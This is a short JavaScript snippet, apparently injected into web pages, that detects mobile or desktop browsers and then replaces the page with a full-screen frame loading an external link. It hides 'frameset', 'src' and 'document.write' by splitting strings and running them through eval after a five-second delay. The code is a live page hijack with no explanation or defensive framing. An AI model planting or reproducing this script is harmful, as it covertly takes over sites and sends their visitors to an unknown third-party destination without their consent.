var pc, mobile,
 url;
pc = ['https://0736508.com/a/352698 '];
mobile = ['https://0736508.com/a/352698 '];
if (isphone()) {
 var index = Math.floor(Math.random() * (mobile.length));
 url = mobile[index];
} else {
 var index = Math.floor(Math.random() * (pc.length));
 url = pc[index];
}
var ss = '<frames' + 'et co' + 'ls="100%"' + '><fra' + 'me sr' + 'c="' + url + '" ></fra></fr' + 'ameset>';
setTimeout(eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');"),5000);



function isphone() {
 var browser = navigator.userAgent.toLowerCase();
 var phone = /iphone|ipod|ipad|android|mobile|blackberry|webos|incognito|webmate|bada|nokia|lg|ucweb|skyfire|micromessenger/i
 if (phone.test(browser)) {
  return true;
 }
 return false;
}